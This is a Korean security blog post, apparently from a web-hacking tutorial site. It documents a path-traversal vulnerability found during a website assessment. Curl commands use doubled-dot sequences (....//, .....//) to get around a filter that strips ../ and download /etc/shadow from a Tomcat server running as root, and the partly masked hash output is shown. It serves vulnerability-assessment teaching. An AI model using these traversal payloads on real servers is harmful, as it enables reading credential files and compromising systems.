홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
• 웹 해킹 훈련장 172.16.15.116 40080/tcp 대상 공개용 도구 기반의 홈페이지 취약점 점검 실습 (20200507) • Kali Linux 2020.1b 64bit 설치 설명서 (MS 윈도우 10, VMware 플레이어) (20200325) • VirtualBox 가상머신으로 GSM CE 6.0.2 설치 설명서 (OpenVAS) (20200125) • Kali Linux 2019.4 64bit Light 배포판 설치 설명서 (권장) (20191202) • Kali Linux 2019.3 64bit Large 배포판 설치 및 한글 설정 설명서 (20191129) • [과제] WH-MissAuth-1 웹해킹훈련장: 접속자 권한인증 후 출력 제어 취약점 (20180619) • [과제] WH-WebEditor-SE2 웹해킹훈련장: 취약한 PHP 버전에서 원래 파일이름을 저장하는 웹에디터의 취약점을 이용한 시스템 침투 (20170827) • [과제] WH-FILEDOWN-01 웹해킹훈련장: 파일다운로드로 서버침투 (20170810) • [과제] WH-COOKIE-02 웹해킹훈련장: 쿠키 오용 취약점 (20170809) • Apache Tomcat /manager/html 무작위대입공격 도구 작성 - PHP (20170721) • 칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (20170404) • 단순한 방어법(../ 제거)의 파일 다운로드 취약점 진단 사례 (20170329) • WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170130) • 오늘의 웹서버 공격 로그: MySQL 관리 인터페이스 자동탐색 도구 - Jorgee Scanner (20170125) • WH-WebEditor-GM 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (20170123) • 오늘의 웹서버 공격 로그: Apache ProxyAbuse 탐지 시도 (20170122) • 오늘의 웹서버 공격 로그: Bash 쉘쇼크 취약점을 이용한 Perl Ircbot 삽입 시도 (20170122) • 오늘의 웹서버 공격 로그: phpMyAdmin 취약점 자동탐색 도구 - ZmEu Scanner (20170121) • 오늘의 웹서버 공격 로그: 워드프레스 취약점 자동탐색 도구 (20170118) • WH-PathTrav-01 라이브 ISO: 파일 다운로드 취약점으로 서버 침투 (20170116) • WH-Webshell-Loc-01 라이브 ISO: 서버 내 웹쉘 저장경로 알아내기 (20170114) • WH-ImgShell-01 라이브 ISO: 이미지에 덧붙인 웹쉘 취약점 웹해킹훈련장 (20170113) • SSH 무작위 대입 공격으로 root권한을 탈취한 침해사고 사례 (20170112) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 소개 (20170110) • WH-IllInst-WordPress 워드프레스 웹해킹훈련장 실습 설명서 (20170110) • MSSQL과 MySQL의 SQL구문삽입을 이용한 OS 명령어 실행 (20170109) • WH-CommInj-01 원격 운영체제 명령어 삽입 취약점 훈련장(라이브 ISO) 소개 및 실습 설명서 (20170106) • WH-Deface-01 기능별 권한인증 취약점 훈련장(라이브 ISO) 소개 (20170104) • WH-Deface-01 웹해킹훈련장 실습 설명서 (20170104) • WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (20170102) • WH-Account-01 웹해킹훈련장 실습 설명서 (20170103) • WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (20170103) • WH-Account-02 웹해킹훈련장 실습 설명서 (20170104) • 저장형 XSS 공격을 이용한 홈페이지위변조 공격 사례 (20161231) • 로그인한 상태에서 웹취약점스캐너의 자동점검 위험성 (20161228) • DBMS Fingerprinting (데이터베이스 관리시스템 탐지) (20161222) • FCKeditor를 대상으로 한 자동화 공격툴의 침해사례 (20161220) • 이중 서버스크립트 혼용을 이용한 웹방화벽/확장자검증 우회 (실제 사례) (20161219) • HTTP/HTTPS 혼용에 따른 관리자로그인 페이지 접근 우회 (실제 사례) (20161214) • 경로재지정 취약점: 자바스크립트를 이용한 검증과 그 우회, 그리고 XSS (실제 사례) (20161214) • 웹해킹 사례: 유명 홈페이지를 악성코드 배포 경유지로... (20161213) • HTML 삽입, XSS 공격 탐지방법 (20161211) • 오늘의 웹서버 공격 로그, Axis2, 공개프록시 (20161210) • 오늘의 웹서버 공격 로그, XML-RPC, Open Proxy (20161208) • nikto와 owasp-zap 연동 (20161206) • 미라이 IoT DDoS 봇넷이 사용한 61개 비밀번호 (20161205) • 오늘의 웹서버 공격 로그, SOAP 원격코드실행, D-Link 명령어 삽입, muieblackcat (20161205) • 오늘의 웹서버 공격 로그, w00tw00t (DFind) (20161204) • 기억하기 쉽고 안전한 비밀번호 만들기 (20161203) • 2016.12.01-02 웹서버 공격 로그, armgg DDoS 악성코드 (20161202) • KISA의 랜섬웨어 예방 수칙 (20161202) • WH-DVWA-1.9 Damn Vulnerable Web App 웹해킹훈련장 (20161201) • DVWA Brute Force 실습 설명서 (20161205) • DVWA Command Injection 실습 설명서 (20161207) • DVWA CSRF (low, high level) 실습 설명서 (20161208) • DVWA File Inclusion 실습 설명서 (20161215) • DVWA File Upload 실습 설명서 (20161221) • DVWA SQL Injection (low, medium, high level) 실습 설명서 (20161224) • DVWA SQL Injection medium level - OWASP-ZAP과 sqlmap 실습 설명서 (20161222) • DVWA Blind SQLi (high level) 수동점검을 통한 '눈먼'SQL 구문삽입의 이해 (20161227) • DVWA Blind SQL Injection (low, medium level) sqlmap 실습 설명서 (20161226) • DVWA Reflected Cross Site Scripting (XSS) 실습 설명서 (20161227) • DVWA Stored Cross Site Scripting (XSS) 실습 설명서 (20170101) • SVG 이미지의 ECMAscript를 이용한 악성코드 배포 (20161201) • WH-WebGoat-7.0.1 웹해킹훈련장 라이브 ISO (20161130) • WebGoat: Bypass a Path Based Access Control Scheme (20161207) • WebGoat, LAB: DOM-Based cross-site scripting (20161208) • WebGoat, Authentication Flaws: Multi Level Login 2 (20161209) • WebGoat, Code Quality: Discover Clues in the HTML (20161210) • WebGoat XSS: Phishing with XSS (20161211) • WebGoat: OS Command Injection (20161215) • WebGoat: Numeric SQL Injection (20161216) • WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (20161217) • WebGoat: Blind Numeric SQL Injection (추리기반 SQL 구문삽입의 이해) (20161218) • 2016.11.30 웹서버 공격 로그 (20161130) • OWASP TOP 10 (2013) 문서의 각종 해킹 시나리오 모음 (20161129) • WH-LFI-01: 널바이트삽입과 내부파일실행 웹해킹훈련장 (20161126) • WH-LFI-01 웹해킹훈련장의 취약점 분석 결과보고서 (20161128) • 인터넷(Internet)과 보안에 대해 짧게 생각해보다 (20161125) • PHP Easter Egg의 이해와 조치방안 (20161125) • WH-COOKIE-01: 잘못된 쿠키 사용 사례를 보여주는 웹해킹훈련장 (20161124) • WH-COOKIE-01 웹해킹훈련장 홈페이지 취약점분석 결과보고서 (20161126) • 웹해킹 공격/방어 일람 (20161121) • webhack.dynu.net 문자배너 만들기 - toilet (20161121) • MIME 형식의 보안위협 완화: X-Content-Type-Options 헤더 (20161120) • X-XSS-Protection헤더 시험 페이지 (20161119) • 방화벽을 노리는 블랙너스(Black Nurse) DoS 공격 (20161118) • 클릭재킹 방지를 위한 X-Frame-Options 헤더 (20161117) • X-Frame-Options헤더 시험 페이지 (20161118) • 공시생 성적조작 사건, 물리보안과 정보보안 (20161117) • ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (20161116) • [웹해킹훈련장] 취약한 비밀번호: WH-weak-root-pw 실습 설명서 (20161116) • weak-root-pw 훈련장 웹취약점 분석 보고서 (20161117) • 슬리타즈 리눅스 4.0 설치와 웹해킹훈련장 Live ISO 만들기 (20161115) • 버추얼박스 가상머신에서 Tails OS 설치 (20161114) • Kali Linux에 Tor Browser 설치하기 (20161114) • 인터넷익명성 - VPN과 Tor (20161114) • Kali Linux, open-vm-tools, Shared Folder (20161113) • SSL Strip 공격과 HSTS (20161112) • 모든 꼬리표 모아보기(태그 클라우드) (20161111) • HTTP 세션 탈취와 IP보안 (20161111) • HTTP TRACE method와 XST 공격 (20161111) • 세션쿠키와 HttpOnly (20161110) • HTTP 메소드 수동점검 방법 (20161110) • 파일업로드(웹쉘) 방어하기 (20161109) • 파일다운로드/경로조작 방어하기 (20161109) • XSS, SQL Injection 방어하기 (20161109) • 길찾기(sitemap) (20161109) • 웹취약성분석 관련 파일 목록 (20161108) • SQL 인젝션 공격도구 sqlmap의 간단한 사용법 (20161107) • 웹취약점 분석 도구로서의 THC Hydra (20161107) • 웹취약점 분석 도구로서의 cURL (20161107) • [웹해킹훈련장] CVE-2014-6271: Bash Shellshock 실습 설명서 (20161104) • [PentesterLab] CVE-2014-6271 Shellshock 훈련장 웹취약점 분석 보고서 (20161106) • 무료 웹해킹 교육장 목록 (20161103) • 칼리 리눅스(Kali Linux) 설치 (20161030) • 가상머신 버추얼 박스(VirtualBox) 설치 (20161029) • 가상머신 VMWare Workstation Player 설치 (20161028) • [웹해킹훈련장] Drunk Admin Web Hacking Challenge 실습 설명서 (20161027) • 스마트에디터(SmartEditor) 2.0 Basic의 웹쉘 업로드 취약점 (20160719) |
<< 목록숨기기 어떤 경로조작 취약점 점검 과정이 문서는 홈페이지 취약점 분석과정에서 발견한 실제 취약점이다. 해당 누리집은 Apache 웹서버와 Apache Tomcat 기반의 서비스였으며 톰캣이 root 권한으로 실행중이어서 /etc/shadow 파일 다운로드가 가능하였다. 참고할 웹해킹 훈련장다음 훈련장은 위의 취약점과 유사한 환경에서 시스템 침투/장악 과정을 설명하고 있으므로 참조하기 바란다. 점검 및 취약점 진단해당 누리집이 제공하는 파일 다운로드 기능은 다음과 같다. https://www.victim.co.kr/file/FileDownload.jsp?fileName=brochure_img.zip
root@kali:~# curl -I https://www.victim.co.kr/file/FileDownload.jsp?fileName=brochure_img.zip HTTP/1.1 200 OK Date: Wed, 29 Mar 2017 07:24:04 GMT Content-Disposition: attachment;filename=brochure_img.zip Content-Transfer-Encoding: binary Pragma: no-cache; Content-Length: 2043094 Content-Type: application/octer-stream root@kali:~#
다운로드할 파일인
이 다운로드 기능이 상위 경로( root@kali:~# curl -I https://www.victim.co.kr/file/FileDownload.jsp?fileName=../brochure_img.zip HTTP/1.1 200 OK Date: Wed, 29 Mar 2017 07:26:00 GMT Content-Disposition: attachment;filename=brochure_img.zip Content-Transfer-Encoding: binary Pragma: no-cache; Content-Length: 2043094 Content-Type: application/octer-stream root@kali:~#
위의 결과는
입력이 root@kali:~# curl -I https://www.victim.co.kr/file/FileDownload.jsp?fileName=../../brochure_img.zip HTTP/1.1 200 OK Date: Wed, 29 Mar 2017 07:26:47 GMT Content-Disposition: attachment;filename=brochure_img.zip Content-Transfer-Encoding: binary Pragma: no-cache; Content-Length: 2043094 Content-Type: application/octer-stream root@kali:~#
역시
위의 결과에서
이번에 사용한 입력은 root@kali:~# curl https://www.victim.co.kr/file/FileDownload.jsp?fileName=.../.../etc/shadow <html> <br/><h2>Could not get file name:<br>..etc/shadow<h2> <br/><center><h3><a href='javascript: history.go(-1)'>Back</a></h3></center> <br/>© webAccess </html> root@kali:~#
위에서 오류가 발생했을 때 이렇게 친절한(?) 정보를 제공하게 되면 악의적인 공격자들에게 도움을 줄 수 있다.
이번에 사용한 입력은 root@kali:~# curl https://www.victim.co.kr/file/FileDownload.jsp?fileName=....//....//etc/shadow <html> <br/><h2>Could not get file name:<br>../../etc/shadow<h2> <br/><center><h3><a href='javascript: history.go(-1)'>Back</a></h3></center> <br/>© webAccess </html> root@kali:~#
서버의 메시지에서 공격자가 입력한 "
이제 공격자는 원하는 시스템 파일을 열어볼 수 있는 가능성이 있다는 것을 알게 되었다.
충분하게 많은 "
이번에 사용한 입력은 root@kali:~# curl https://www.victim.co.kr/file/FileDownload.jsp?fileName=.....//.....//.....//.....//.....//.....//.....//etc/shadow root:$6$****************$***********************.eRLuEPxumyfacBxM**********************************************:16789:0:99999:7::: bin:*:16372:0:99999:7::: daemon:*:16372:0:99999:7::: adm:*:16372:0:99999:7::: lp:*:16372:0:99999:7::: sync:*:16372:0:99999:7::: shutdown:*:16372:0:99999:7::: halt:*:16372:0:99999:7::: mail:*:16372:0:99999:7::: operator:*:16372:0:99999:7::: games:*:16372:0:99999:7::: ftp:*:16372:0:99999:7::: nobody:*:16372:0:99999:7::: avahi-autoipd:!!:16789:::::: pegasus:!!:16789:::::: dbus:!!:16789:::::: polkitd:!!:16789:::::: abrt:!!:16789:::::: tss:!!:16789:::::: apache:!!:16789:::::: unbound:!!:16789:::::: usbmuxd:!!:16789:::::: saslauth:!!:16789:::::: colord:!!:16789:::::: ntp:!!:16789:::::: libstoragemgmt:!!:16789:::::: rpc:!!:16789:0:99999:7::: postfix:!!:16789:::::: rtkit:!!:16789:::::: qemu:!!:16789:::::: chrony:!!:16789:::::: rpcuser:!!:16789:::::: nfsnobody:!!:16789:::::: radvd:!!:16789:::::: sssd:!!:16789:::::: pulse:!!:16789:::::: gdm:!!:16789:::::: gnome-initial-setup:!!:16789:::::: pcp:!!:16789:::::: avahi:!!:16789:::::: sshd:!!:16789:::::: oprofile:!!:16789:::::: tcpdump:!!:16789:::::: webmanager:$6$****************$******.GIn/****/*********************************************************************.:16789:0:99999:7::: systemd-bus-proxy:!!:16789:::::: systemd-network:!!:16789:::::: tomcat:!!:16790:0:99999:7::: root@kali:~#
보통 경로조작 취약점은
이 웹 서버의 경우에는 특정 IP 주소에서만 SSH 접속이 되도록 설정되어 있었다.
때문에 [처음 작성한 날: 2017.03.29] [마지막으로 고친 날: 2017.03.29] < 이전 글 : 칼리 리눅스를 이용한 From SQL Injection to Shell 공략 (2017.04.04) > 다음 글 : WH-WebEditor-CH 라이브 ISO: 이미지 검증 기능을 우회하여 PHP 웹쉘 생성 (2017.01.30) ![]() 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |